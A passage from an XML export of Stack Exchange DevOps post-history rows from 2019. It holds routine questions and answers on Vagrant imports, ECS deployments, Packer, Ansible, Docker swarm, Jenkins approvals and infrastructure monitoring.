'D:\VM\VirtualBox\windows_2012_r2_1556359923004_28925' to 'D:\VM\VirtualBox\windows_2012_r2' to save the settings file (VERR_ALREADY_EXISTS)&#xD;&#xA;VBoxManage.exe: error: Details: code E_FAIL (0x80004005), component SessionMachine, interface IMachine, callee IUnknown&#xD;&#xA;VBoxManage.exe: error: Context: &quot;SaveSettings()&quot; at line 3194 of file VBoxManageModifyVM.cpp&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I notice that at the stage &#xD;&#xA;&#xD;&#xA; - `Successfully added box 'windows_2012_r2' (v0) for 'virtualbox'!` vagrant creates the folder **windows_2012_r2** in the virtualbox folder&#xD;&#xA; and then at this stage &#xD;&#xA; - `default: Importing base box 'windows_2012_r2'...` vagrant creates a folder **windows_2012_r2_1556359923004_28925** and try to rename it to **windows_2012_r2** but doesn't manage to it because it already exist.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; - **windows_2012_r2** folder has the *windows_2012_r2-disk001_2.vmdk* file  &#xD;&#xA; - **windows_2012_r2_1556359923004_28925** has windows_2012_r2_1556359923004_28925.vbox file&#xD;&#xA;&#xD;&#xA;I'm confused how vagrant manage the Virtualbox name when importing a packer created box why vagrant is renaming the folder name, and not using the already existing target folder?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23125" PostHistoryTypeId="1" PostId="7971" RevisionGUID="a7adcb5b-2f72-4efb-bc3d-dd907fdb5b4a" CreationDate="2019-04-28T00:42:40.513" UserId="14678" Text="Understanding Vagrant virtual machine import" ContentLicense="CC BY-SA 4.0" />
  <row Id="23126" PostHistoryTypeId="3" PostId="7971" RevisionGUID="a7adcb5b-2f72-4efb-bc3d-dd907fdb5b4a" CreationDate="2019-04-28T00:42:40.513" UserId="14678" Text="&lt;vagrant&gt;&lt;packer&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23127" PostHistoryTypeId="2" PostId="7972" RevisionGUID="f0163532-3171-4979-8872-9819bd901eca" CreationDate="2019-04-28T00:54:52.573" UserId="14678" Text="After doing the extract you should set it executable with `chmod +x azcopy`&#xD;&#xA;&#xD;&#xA;You can then run it with a `azcopy --help`" ContentLicense="CC BY-SA 4.0" />
  <row Id="23128" PostHistoryTypeId="50" PostId="5482" RevisionGUID="22602ee9-ae5d-4ddf-bf3f-5f2a497ed9e8" CreationDate="2019-04-28T06:02:20.747" UserId="-1" />
  <row Id="23129" PostHistoryTypeId="50" PostId="5556" RevisionGUID="4a5dad72-6b51-478e-b176-6249b8c29133" CreationDate="2019-04-28T11:02:15.443" UserId="-1" />
  <row Id="23130" PostHistoryTypeId="2" PostId="7973" RevisionGUID="bb7da107-17aa-4b33-a72d-28c0c6747320" CreationDate="2019-04-28T22:47:02.263" UserId="14686" Text="I have an ECS cluster/service/task definition using an image from my ECR repository.&#xD;&#xA;&#xD;&#xA;Let's say I update the image with a new version, will ECS pick the changes automatically?&#xD;&#xA;&#xD;&#xA;1. Do I need to modify the task definition?&#xD;&#xA;2. Do I need to somehow reload/restart the task(s)?&#xD;&#xA;&#xD;&#xA;My goal is to automate the deployment to ECS. I'm not sure if using CodeBuild to build and push the new image to ECR is enough, or if I need something else (codepipeline?) to deploy changes to ECS. " ContentLicense="CC BY-SA 4.0" />
  <row Id="23131" PostHistoryTypeId="1" PostId="7973" RevisionGUID="bb7da107-17aa-4b33-a72d-28c0c6747320" CreationDate="2019-04-28T22:47:02.263" UserId="14686" Text="Update ECS task definition with new image from ECR" ContentLicense="CC BY-SA 4.0" />
  <row Id="23132" PostHistoryTypeId="3" PostId="7973" RevisionGUID="bb7da107-17aa-4b33-a72d-28c0c6747320" CreationDate="2019-04-28T22:47:02.263" UserId="14686" Text="&lt;docker&gt;&lt;amazon-ecs&gt;&lt;docker-registry&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23133" PostHistoryTypeId="5" PostId="7973" RevisionGUID="5463eab2-3e23-4d65-89a3-c6d53f57f5ea" CreationDate="2019-04-29T02:42:52.897" UserId="14686" Comment="added 89 characters in body" Text="I have an ECS cluster/service/task definition using an image from my ECR repository.&#xD;&#xA;&#xD;&#xA;Let's say I update the image with a new version, will ECS pick the changes automatically?&#xD;&#xA;&#xD;&#xA;1. Do I need to modify the task definition?&#xD;&#xA;2. Do I need to somehow reload/restart the task(s)?&#xD;&#xA;&#xD;&#xA;My goal is to automate the deployment to ECS. I'm not sure if using CodeBuild to build and push the new image to ECR is enough, or if I need something else (codepipeline?) to deploy changes to ECS. &#xD;&#xA;&#xD;&#xA;Note: task definition is using &quot;latest&quot; image tag, new images update that tag in ECR." ContentLicense="CC BY-SA 4.0" />
  <row Id="23140" PostHistoryTypeId="2" PostId="7975" RevisionGUID="37e7f008-6188-495f-9247-3ad964dc5bc4" CreationDate="2019-04-29T09:49:39.360" UserId="14690" Text="I`m creating a new image and everything is working. I would like to debug via ssh during the instance creation. A temp keypair is created and attached to the temp instance. My question is, can I get this keypair somewhere in order to debug it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;==&gt; amazon-ebs: Prevalidating AMI Name...&#xD;&#xA;    amazon-ebs: Found Image ID: ami-0866798422f5d546b&#xD;&#xA;==&gt; amazon-ebs: Creating temporary keypair: packer_5cc6c77d-494a-f185-b5b3-f9b59e62fd4e&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Best,&#xD;&#xA;&#xD;&#xA;Armando" ContentLicense="CC BY-SA 4.0" />
  <row Id="23141" PostHistoryTypeId="1" PostId="7975" RevisionGUID="37e7f008-6188-495f-9247-3ad964dc5bc4" CreationDate="2019-04-29T09:49:39.360" UserId="14690" Text="Is it possible to locate the temp keypair generated by Packer?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23142" PostHistoryTypeId="3" PostId="7975" RevisionGUID="37e7f008-6188-495f-9247-3ad964dc5bc4" CreationDate="2019-04-29T09:49:39.360" UserId="14690" Text="&lt;packer&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23143" PostHistoryTypeId="2" PostId="7976" RevisionGUID="846c0d5d-03c8-4220-8f64-ce8a63977818" CreationDate="2019-04-29T10:15:00.350" UserId="14664" Text="I solved this by adding &#xD;&#xA;&#xD;&#xA;    ignore_errors: true&#xD;&#xA;    register: results&#xD;&#xA;&#xD;&#xA;to the no_log-task. This makes ansible continue to the next task, even when the task fails. Then for the next task define a debug task, which always fails and outputs the registered variable, but only runs when the previous task failed:&#xD;&#xA;&#xD;&#xA;    - name: Error output&#xD;&#xA;      debug:&#xD;&#xA;         var: results&#xD;&#xA;      failed_when: true&#xD;&#xA;      when:&#xD;&#xA;         results is failed&#xD;&#xA;&#xD;&#xA;So even with no_log: true, this will make ansible display the output of the failed task.&#xD;&#xA;This solution is not logging it to a file as requested but fullfils your need to 'see the log when failed' , and of course, you can redirect or use tee to output the full ansible output to a file, which will, with this solution also contain the the log of the failed task." ContentLicense="CC BY-SA 4.0" />
  <row Id="23144" PostHistoryTypeId="2" PostId="7977" RevisionGUID="06c4f0df-82b0-41df-9b13-58fa7c8b35e6" CreationDate="2019-04-29T13:03:59.650" UserId="7730" Text="There are options in docker that will retry the startup of a container, [restart in version 2](https://docs.docker.com/compose/compose-file/#restart) and [restart-policy in version 3](https://docs.docker.com/compose/compose-file/#restart_policy) (you'd need compatibility mode enabled for the version 3 syntax to work). However, I believe they only work when the issue is from the application inside the container fails, not when there is an issue creating the container like you see with a volume mount failing (or would also happen if the image couldn't be retrieved from a registry).&#xD;&#xA;&#xD;&#xA;To handle the failing volume mount, I believe swarm mode is your best option despite your objections. You can create a single node cluster with `docker swarm init` and deploy your compose file with `docker stack deploy -c docker-compose.yml stack_name`, making an easy transition from docker-compose. Swarm mode looks at the overall state of the service and continuously tries to make the current state match your target state (as defined in the compose file), which will handle a failing volume mount that eventually corrects itself. I don't have an NFS server to test on right now, but here's a scenario with a bind mount to a missing folder:&#xD;&#xA;&#xD;&#xA;    $ cat docker-compose.vol-bind.yml&#xD;&#xA;    version: '3'&#xD;&#xA;    volumes:&#xD;&#xA;      bind-test:&#xD;&#xA;        driver: local&#xD;&#xA;        driver_opts:&#xD;&#xA;          type: none&#xD;&#xA;          o: bind&#xD;&#xA;          device: /home/bmitch/data/docker/test/missing&#xD;&#xA;    services:&#xD;&#xA;      bind-test:&#xD;&#xA;        image: busybox&#xD;&#xA;        command: tail -f /dev/null&#xD;&#xA;        volumes:&#xD;&#xA;          - bind-test:/bind-test&#xD;&#xA;    &#xD;&#xA;    $ docker stack deploy -c docker-compose.vol-bind.yml voltest   &#xD;&#xA;    Creating network voltest_default                              &#xD;&#xA;    Creating service voltest_bind-test   &#xD;&#xA;    &#xD;&#xA;    $ docker service ls&#xD;&#xA;    ID                  NAME                   MODE                REPLICAS            IMAGE                                             PORTS&#xD;&#xA;    omzaeo7mrour        voltest_bind-test      replicated          0/1                 busybox:latest&#xD;&#xA;    &#xD;&#xA;    $ docker service ps omzaeo7mrour&#xD;&#xA;    ID                  NAME                      IMAGE               NODE                DESIRED STATE       CURRENT STATE           ERROR                              POR&#xD;&#xA;    TS&#xD;&#xA;    kpz0l79eucaw        voltest_bind-test.1       busybox:latest      bmitch-asusr556l    Ready               Ready 2 seconds ago&#xD;&#xA;    j6fylzhvcv60         \_ voltest_bind-test.1   busybox:latest      bmitch-asusr556l    Shutdown            Failed 5 seconds ago    &quot;starting container failed: er…&quot;&#xD;&#xA;    61o6raohp0xl         \_ voltest_bind-test.1   busybox:latest      bmitch-asusr556l    Shutdown            Failed 12 seconds ago   &quot;starting container failed: er…&quot;&#xD;&#xA;    &#xD;&#xA;    $ docker inspect kpz0l79eucaw&#xD;&#xA;    [&#xD;&#xA;        {&#xD;&#xA;            &quot;ID&quot;: &quot;kpz0l79eucaw1856obmwvcak1&quot;,&#xD;&#xA;            &quot;Version&quot;: {&#xD;&#xA;                &quot;Index&quot;: 445&#xD;&#xA;            },&#xD;&#xA;            &quot;CreatedAt&quot;: &quot;2019-04-29T12:57:25.925788528Z&quot;,&#xD;&#xA;            &quot;UpdatedAt&quot;: &quot;2019-04-29T12:57:34.3467203Z&quot;,&#xD;&#xA;            &quot;Labels&quot;: {},&#xD;&#xA;            &quot;Spec&quot;: {&#xD;&#xA;                &quot;ContainerSpec&quot;: {&#xD;&#xA;                    &quot;Image&quot;: &quot;busybox:latest&quot;,&#xD;&#xA;                    &quot;Labels&quot;: {&#xD;&#xA;                        &quot;com.docker.stack.namespace&quot;: &quot;voltest&quot;&#xD;&#xA;                    },&#xD;&#xA;    ...&#xD;&#xA;            &quot;Status&quot;: {&#xD;&#xA;                &quot;Timestamp&quot;: &quot;2019-04-29T12:57:33.936048295Z&quot;,&#xD;&#xA;                &quot;State&quot;: &quot;failed&quot;,&#xD;&#xA;                &quot;Message&quot;: &quot;starting&quot;,&#xD;&#xA;                &quot;Err&quot;: &quot;starting container failed: error while mounting volume '/home/var-docker/volumes/voltest_bind-test/_data': failed to mount local volume: mount /home&#xD;&#xA;    /bmitch/data/docker/test/missing:/home/var-docker/volumes/voltest_bind-test/_data, flags: 0x1000: no such file or directory&quot;,&#xD;&#xA;                &quot;ContainerStatus&quot;: {&#xD;&#xA;                    &quot;ContainerID&quot;: &quot;4c75c851bd43b5ef57b4785a4611f78501279933822eab90c693e1108f53ee82&quot;,&#xD;&#xA;                    &quot;PID&quot;: 0,&#xD;&#xA;                    &quot;ExitCode&quot;: 128&#xD;&#xA;                },&#xD;&#xA;                &quot;PortStatus&quot;: {}&#xD;&#xA;            },&#xD;&#xA;    ...&#xD;&#xA;    &#xD;&#xA;    $ mkdir missing&#xD;&#xA;    &#xD;&#xA;    $ docker service ps omzaeo7mrour&#xD;&#xA;    ID                  NAME                      IMAGE               NODE                DESIRED STATE       CURRENT STATE           ERROR                              POR&#xD;&#xA;    TS&#xD;&#xA;    okylli7smu1c        voltest_bind-test.1       busybox:latest      bmitch-asusr556l    Running             Running 4 seconds ago&#xD;&#xA;    9tpm188ysu2k         \_ voltest_bind-test.1   busybox:latest      bmitch-asusr556l    Shutdown            Failed 14 seconds ago   &quot;starting container failed: er…&quot;&#xD;&#xA;    kpz0l79eucaw         \_ voltest_bind-test.1   busybox:latest      bmitch-asusr556l    Shutdown            Failed 21 seconds ago   &quot;starting container failed: er…&quot;&#xD;&#xA;&#xD;&#xA;From the above, you can see as soon as the missing directory was created, the bind mount succeeded, and the container that failed to be created as retried and started successfully." ContentLicense="CC BY-SA 4.0" />
  <row Id="23152" PostHistoryTypeId="2" PostId="7980" RevisionGUID="b0fb42d1-f260-4f62-b8b5-f480696ce99e" CreationDate="2019-04-29T15:35:45.200" UserId="2494" Text="I am interested in whether there are any configuration management tools out there that make it easy to roll back.&#xD;&#xA;&#xD;&#xA;So far it seems that with Ansible, Chef, and Puppet you have to write the roll back tasks/recipes/whatever to get back to your previous state.&#xD;&#xA;&#xD;&#xA;Coming from a bit of personal interest and experience with NixOS I have seen that with pure Immutable Infrastructure rollback is easy.&#xD;&#xA;&#xD;&#xA;I am in Enterprise environments where NixOS is not happening. How can Enterprises begin to approach Rollbacks better with tools that work with Windows and Enterprise Linux Distros?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23153" PostHistoryTypeId="1" PostId="7980" RevisionGUID="b0fb42d1-f260-4f62-b8b5-f480696ce99e" CreationDate="2019-04-29T15:35:45.200" UserId="2494" Text="Configuration Management Tools and Rollbacks / Approaching Immutable Infrastructure" ContentLicense="CC BY-SA 4.0" />
  <row Id="23154" PostHistoryTypeId="3" PostId="7980" RevisionGUID="b0fb42d1-f260-4f62-b8b5-f480696ce99e" CreationDate="2019-04-29T15:35:45.200" UserId="2494" Text="&lt;ansible&gt;&lt;infrastructure-as-code&gt;&lt;immutable-servers&gt;&lt;nixos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23155" PostHistoryTypeId="2" PostId="7981" RevisionGUID="ce5007a6-cccf-4ee3-bd83-22458420924b" CreationDate="2019-04-29T17:58:32.867" UserId="960" Text="You hint in the title about immutable infrastructure, so it sounds like you already know the solution:  don't change existing servers, but bring up new ones with your changes, switch over to them, and switch back to the old ones if necessary.&#xD;&#xA;&#xD;&#xA;Theoretically any of the standard config management tools can roll back by simply checking out a previous commit and rerunning the config.  However, practically speaking this often isn't the case, as you may have introduced a new config rule (and so whatever it is doing is simply ignored in older versions) or you've written a rule that isn't easily reversible (for instance, does some destructive data operation).  If you were **very** careful in how you always write your playbooks, you could avoid this, but a few less error-prone solution is just to use an immutable infrastructure approach." ContentLicense="CC BY-SA 4.0" />
  <row Id="23156" PostHistoryTypeId="2" PostId="7982" RevisionGUID="878f3b5c-a01e-4542-97a2-98336e25f857" CreationDate="2019-04-29T18:05:15.080" UserId="14701" Text="I'm not sure if this is the same problem you are seeing. But we saw these random gaps for Java applications that did not specifically set the GC settings. Meaning we were seeing gaps when the data collection stopped because the activity for the instance stopped while the JVM was doing a Full GC. If you are using Java this can happen. Our fix was to explicitly use the G1 garbage collector (Java 8+) with a specified limit on the length of GC activity to prevent these time gaps in the data collection." ContentLicense="CC BY-SA 4.0" />
  <row Id="23162" PostHistoryTypeId="5" PostId="6915" RevisionGUID="5ae1ed27-5709-4b2a-9aac-131f5f67fc1d" CreationDate="2019-04-29T21:05:26.513" UserId="960" Comment="added 5 characters in body; edited tags; edited title" Text="I have this `docker-compose.yml`:&#xD;&#xA;&#xD;&#xA;    ports:&#xD;&#xA;      - &quot;3000:3000&quot;&#xD;&#xA;    environment:&#xD;&#xA;      RAILS_ENV: development&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;   - What does the RAILS_ENV do?&#xD;&#xA;   - What difference does it make, when RAILS_ENV is changed to development?&#xD;&#xA;   - How does the change affect the automated build?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23163" PostHistoryTypeId="4" PostId="6915" RevisionGUID="5ae1ed27-5709-4b2a-9aac-131f5f67fc1d" CreationDate="2019-04-29T21:05:26.513" UserId="960" Comment="added 5 characters in body; edited tags; edited title" Text="What does the RAILS_ENV environment variable do in Ruby on Rails?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23164" PostHistoryTypeId="6" PostId="6915" RevisionGUID="5ae1ed27-5709-4b2a-9aac-131f5f67fc1d" CreationDate="2019-04-29T21:05:26.513" UserId="960" Comment="added 5 characters in body; edited tags; edited title" Text="&lt;ruby-on-rails&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23165" PostHistoryTypeId="2" PostId="7984" RevisionGUID="9bb26613-4a5c-4b0e-b063-cefbbe628f6b" CreationDate="2019-04-30T06:28:31.267" UserId="9481" Text="    #!/usr/bin/env groovy&#xD;&#xA;    import com.mm.Constants &#xD;&#xA;    def call(String teamName = 'LOGIN') {&#xD;&#xA;	// team name of null means UI&#xD;&#xA;	teamName = teamName ?: 'UI'&#xD;&#xA;	&#xD;&#xA;	timeout(time:2, unit:'DAYS')&#xD;&#xA;    	{															  &#xD;&#xA;        	input message: 'Can you approve this ??', submitter: Constants.&quot;${teamName}_APPROVERS&quot;&#xD;&#xA;    	}&#xD;&#xA;    	&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env groovy&#xD;&#xA;class Constants {&#xD;&#xA;	static final LOGIN_APPROVERS = 'approver1,approver2';&#xD;&#xA;	static final UI_APPROVERS = 'approver2,approver3';&#xD;&#xA;}" ContentLicense="CC BY-SA 4.0" />
  <row Id="23166" PostHistoryTypeId="5" PostId="7984" RevisionGUID="a7c48e5b-1ecf-4709-90db-9448c3267083" CreationDate="2019-04-30T06:33:35.057" UserId="9481" Comment="added 341 characters in body" Text="We have moved onto using Jenkins templates and I have a workaround to keep the individual approver names list in one place. Sharing the sample code for your reference.&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env groovy&#xD;&#xA;    import com.mm.Constants &#xD;&#xA;    def call(String teamName = 'LOGIN') {&#xD;&#xA;	   // team name of null means UI&#xD;&#xA;	   teamName = teamName ?: 'UI'&#xD;&#xA;	&#xD;&#xA;	   timeout(time:2, unit:'DAYS')&#xD;&#xA;    	   {															  &#xD;&#xA;        	   input message: 'Can you approve this ??', submitter: Constants.&quot;${teamName}_APPROVERS&quot;&#xD;&#xA;    	  }&#xD;&#xA;    	&#xD;&#xA;   }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env groovy&#xD;&#xA;    class Constants {&#xD;&#xA;	   static final LOGIN_APPROVERS = 'approver1,approver2';&#xD;&#xA;	   static final UI_APPROVERS = 'approver2,approver3';&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Below is how you call from the pipeline    &#xD;&#xA;&#xD;&#xA;    stage ('Ship to QA?'){&#xD;&#xA;		echo &quot;Waiting for QA approval&quot;&#xD;&#xA;		shipToQA('LOGIN')&#xD;&#xA;	}" ContentLicense="CC BY-SA 4.0" />
  <row Id="23167" PostHistoryTypeId="2" PostId="7985" RevisionGUID="ac5312cd-0c5a-4f02-8059-3e76c9537ce5" CreationDate="2019-04-30T07:04:58.593" UserId="9481" Text="We have multiple java applications running on distributed hosts in our system. As theses applications are processing huge amount of data, it is designed this way. However, it had been a challenge in getting the status of these applications, view logs etc., across the different hosts.&#xD;&#xA;All these applications uses log4j and is logging to a file in the hosted machine.&#xD;&#xA;Is there a open source, proven solution that can be used to get status and view logs for distributed java applications at a centralized place?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23168" PostHistoryTypeId="1" PostId="7985" RevisionGUID="ac5312cd-0c5a-4f02-8059-3e76c9537ce5" CreationDate="2019-04-30T07:04:58.593" UserId="9481" Text="How do you monitor status and view logs for multiple distributed java applications at a centralized place?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23169" PostHistoryTypeId="3" PostId="7985" RevisionGUID="ac5312cd-0c5a-4f02-8059-3e76c9537ce5" CreationDate="2019-04-30T07:04:58.593" UserId="9481" Text="&lt;java&gt;&lt;distributed-systems&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23176" PostHistoryTypeId="50" PostId="4508" RevisionGUID="1d31a7a9-18b5-4c79-b80c-8250d5e1a2ed" CreationDate="2019-04-30T11:01:40.297" UserId="-1" />
  <row Id="23177" PostHistoryTypeId="2" PostId="7988" RevisionGUID="7a71e58d-ac13-4483-a33a-79158d5f5a51" CreationDate="2019-04-30T13:21:39.693" UserId="14714" Text="I am new to docker and flask web framework, my docker context has a flask file, a mod_wsgi file, and the python script. As I am new to flask, there are a lot of small changes which I keep doing. For any change to the docker context to take into effect I have to:&#xD;&#xA; 1) Kill the container and prune it out of the system.&#xD;&#xA; 2) Make changes to the Dockerfile and then rebuild the container.&#xD;&#xA; 3) In some cases I have to even remove the image and rebuild it as the changes are not taken into effect if cache is retained.&#xD;&#xA;&#xD;&#xA;Is there any way in which I can have the changes into the docker context taken into effect during run time. I tried to have the docker context shared as a volume as that is the preferred way to persist data in Docker containers and services, but that did not work, any changes still were not reflected.&#xD;&#xA;&#xD;&#xA;Could you please let me know of any way I can achieve this. Any suggestion would be greatly appreciated.&#xD;&#xA;&#xD;&#xA;Thanks and regards,&#xD;&#xA;Shailesh  " ContentLicense="CC BY-SA 4.0" />
  <row Id="23178" PostHistoryTypeId="1" PostId="7988" RevisionGUID="7a71e58d-ac13-4483-a33a-79158d5f5a51" CreationDate="2019-04-30T13:21:39.693" UserId="14714" Text="Persisting data in docker context" ContentLicense="CC BY-SA 4.0" />
  <row Id="23179" PostHistoryTypeId="3" PostId="7988" RevisionGUID="7a71e58d-ac13-4483-a33a-79158d5f5a51" CreationDate="2019-04-30T13:21:39.693" UserId="14714" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23180" PostHistoryTypeId="5" PostId="7988" RevisionGUID="5aaee30a-b726-4610-92c9-58228ec38086" CreationDate="2019-04-30T13:39:24.307" UserId="13" Comment="added 2 characters in body" Text="I am new to docker and flask web framework, my docker context has a flask file, a mod_wsgi file, and the python script. As I am new to flask, there are a lot of small changes which I keep doing. For any change to the docker context to take into effect I have to:&#xD;&#xA;&#xD;&#xA; 1. Kill the container and prune it out of the system.&#xD;&#xA; 2. Make changes to the Dockerfile and then rebuild the container.&#xD;&#xA; 3. In some cases I have to even remove the image and rebuild it as the changes are not taken into effect if cache is retained.&#xD;&#xA;&#xD;&#xA;Is there any way in which I can have the changes into the docker context taken into effect during run time. I tried to have the docker context shared as a volume as that is the preferred way to persist data in Docker containers and services, but that did not work, any changes still were not reflected.&#xD;&#xA;&#xD;&#xA;Could you please let me know of any way I can achieve this. Any suggestion would be greatly appreciated.&#xD;&#xA;&#xD;&#xA;Thanks and regards,&#xD;&#xA;Shailesh  " ContentLicense="CC BY-SA 4.0" />
  <row Id="23183" PostHistoryTypeId="2" PostId="7989" RevisionGUID="e201ba14-b1f0-4424-aed2-9f6c2f72fffa" CreationDate="2019-04-30T21:48:16.627" UserId="2708" Text="Mounted volumes can be used to preserve state between runs, apart from that Docker is stateless by design. To make a local directory available inside the Docker container, you can use the `-v` option, for example:&#xD;&#xA;&#xD;&#xA;`docker run -v /path/to/local/dir/:/mountpath/inside/docker ...`&#xD;&#xA;&#xD;&#xA;But if I understand your question correctly, you are asking for a faster feedback cycle while working on the Dockerfile. For that, I would recommend to start the container, and attach an interactive shell to try out your changes. Once you made some progress, update the Dockerfile.&#xD;&#xA;&#xD;&#xA;    $ docker ps&#xD;&#xA;    CONTAINER ID  IMAGE        COMMAND  CREATED           STATUS        PORTS  NAMES&#xD;&#xA;    f1217635695d  ubuntu:18.04 &quot;bash&quot;   23 seconds ago   Up 21 seconds         stoic_austin&#xD;&#xA;&#xD;&#xA;    $ docker exec -it f1217635695d bash&#xD;&#xA;    root@f1217635695d:/# ...&#xD;&#xA;&#xD;&#xA;Also note that proper use of caching can speed up rebuilds of the Docker container after changes significantly.&#xD;&#xA;&#xD;&#xA;&gt; (from your question)&#xD;&#xA;&gt; 1. Kill the container and prune it out of the system.&#xD;&#xA;&#xD;&#xA;Pruning should not be necessary unless you run out of disk space. It should be sufficient to update the tag, for example:&#xD;&#xA;&#xD;&#xA;    docker build -t test .&#xD;&#xA;    docker run --rm -it test&#xD;&#xA;&#xD;&#xA;`test:latest` will point to the last image id that was created. `docker images` will show that the previous images are not deleted, but as said, if you have enough disk space available, it is not a big concern." ContentLicense="CC BY-SA 4.0" />
  <row Id="23184" PostHistoryTypeId="5" PostId="7964" RevisionGUID="0ecf9687-4b4e-4f96-b3e0-8a39bf2f8783" CreationDate="2019-04-30T21:50:45.363" UserId="7715" Comment="deleted 1 character in body" Text="Generally, Ansible is very flexible and often there are more &quot;correct&quot; solutions.&#xD;&#xA;&#xD;&#xA;Start for example with the question &quot;Where do the configuration data come from?&quot;, put the default data to the roles and decide which variables should be configured in &quot;*group_vars/host_vars*&quot;, in the roles, and which in the playbooks. Review [Variable precedence: Where should I put a variable?](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#variable-precedence-where-should-i-put-a-variable). To set paths to the inventory, roles, and others see [Ansible Configuration Settings](https://docs.ansible.com/ansible/latest/reference_appendices/config.html#ansible-configuration-settings).&#xD;&#xA;&#xD;&#xA;To answer your questions:&#xD;&#xA;&#xD;&#xA;&gt; Q1: If I run ansible-playbook -i /path to hostfile/ how do I pick the specific host I want to run against? ...where can I put the specific host that is in the hosts file?&#xD;&#xA;&#xD;&#xA;To pick for example &quot;*router1*&quot; start a play with:&#xD;&#xA;&#xD;&#xA;    - hosts: router1&#xD;&#xA;&#xD;&#xA;&gt; Q2: How do I point to the playbooks that are in the root folder without backing up directories each time like this: &quot;ansible-playbook -i hosttarget ../../myplaybook.yml&quot;&#xD;&#xA;&#xD;&#xA;Configure [DEFAULT_HOST_LIST](https://docs.ansible.com/ansible/latest/reference_appendices/config.html#default-host-list). For example:&#xD;&#xA;&#xD;&#xA;    # ANSIBLE_HOSTS=$PWD/inventory/client1/hosts ansible-playbook myplaybook.yml&#xD;&#xA;&#xD;&#xA;&gt; Q3: How can I load additional credentials files or group variables?&#xD;&#xA;&#xD;&#xA;There are a lot of options described in [Variable precedence: Where should I put a variable?](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#variable-precedence-where-should-i-put-a-variable). For example &quot;*include_vars*&quot; might be useful to load additional credentials. For &quot;group variables&quot; pick from the [options](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#id17)." ContentLicense="CC BY-SA 4.0" />
  <row Id="23186" PostHistoryTypeId="2" PostId="7990" RevisionGUID="221f99e6-7821-424a-9ae1-375de10fb45a" CreationDate="2019-04-30T23:41:43.947" UserId="14686" Text="Options are:&#xD;&#xA;&#xD;&#xA;1. Use CodeBuild to push the new image. Make sure the task definition is using the &quot;latest&quot; tag. You'll need to force the deployment of the task definition to pick the new image.&#xD;&#xA;2. Use CodePipeline to update ECS. It will automatically generate a new task definition revision with the new image and deploy it." ContentLicense="CC BY-SA 4.0" />
  <row Id="23187" PostHistoryTypeId="50" PostId="4058" RevisionGUID="a069d303-98f7-4456-a60b-a7ef08962093" CreationDate="2019-05-01T10:02:50.663" UserId="-1" />
  <row Id="23194" PostHistoryTypeId="2" PostId="7993" RevisionGUID="1c2c5391-e2ec-4d80-b952-bd1f2a74b370" CreationDate="2019-05-01T14:18:07.727" UserId="9800" Text="If you use password-protected SSH keys, is there a way to pass the password at the command line automatically instead of manually typing it?&#xD;&#xA;&#xD;&#xA; E.g. something like:&#xD;&#xA;&#xD;&#xA;`ssh-add &lt;key&gt; -p password`" ContentLicense="CC BY-SA 4.0" />
  <row Id="23195" PostHistoryTypeId="1" PostId="7993" RevisionGUID="1c2c5391-e2ec-4d80-b952-bd1f2a74b370" CreationDate="2019-05-01T14:18:07.727" UserId="9800" Text="Using password protected ssh keys" ContentLicense="CC BY-SA 4.0" />
  <row Id="23196" PostHistoryTypeId="3" PostId="7993" RevisionGUID="1c2c5391-e2ec-4d80-b952-bd1f2a74b370" CreationDate="2019-05-01T14:18:07.727" UserId="9800" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23200" PostHistoryTypeId="50" PostId="6420" RevisionGUID="761fbce7-fd11-4183-9417-8a4a632140bc" CreationDate="2019-05-01T23:02:55.633" UserId="-1" />
  <row Id="23201" PostHistoryTypeId="50" PostId="6308" RevisionGUID="6989d67b-cadb-46d6-b6bf-bb2369bc9a49" CreationDate="2019-05-02T00:01:17.007" UserId="-1" />
  <row Id="23202" PostHistoryTypeId="2" PostId="7994" RevisionGUID="9f0fad6d-74ef-4fff-b3ae-26078d1a0b62" CreationDate="2019-05-02T01:24:32.330" UserId="14739" Text="We are going through a process of change in our IT Operations Management. One of the items we are trying to improve is our monitoring of our infrastructure.&#xD;&#xA;&#xD;&#xA;So far I've been thinking of only 3 levels of monitoring and I believe that one tool can not do all very well.&#xD;&#xA;&#xD;&#xA;To hire such tools in the market, we are in the process of listing these levels of monitoring, what is the relevance of this monitoring for the business and applications that achieve our objectives.&#xD;&#xA;&#xD;&#xA;I believe to date that we have 3 macro levels of infrastructure monitoring:&#xD;&#xA;&#xD;&#xA;1) Application Level&#xD;&#xA;&#xD;&#xA;- APM softwares&#xD;&#xA;&#xD;&#xA;2) Asset Level (Hardware, VMs, OS)&#xD;&#xA;&#xD;&#xA;3) Network Level&#xD;&#xA;&#xD;&#xA;- NMS softwares&#xD;&#xA;&#xD;&#xA;Is my thinking correct?&#xD;&#xA;Are there other levels of monitoring? We do not have microservices or containers, but I would like this to be a generic post.&#xD;&#xA;What tools are currently on the market that will monitor each level?" ContentLicense="CC BY-SA 4.0" />
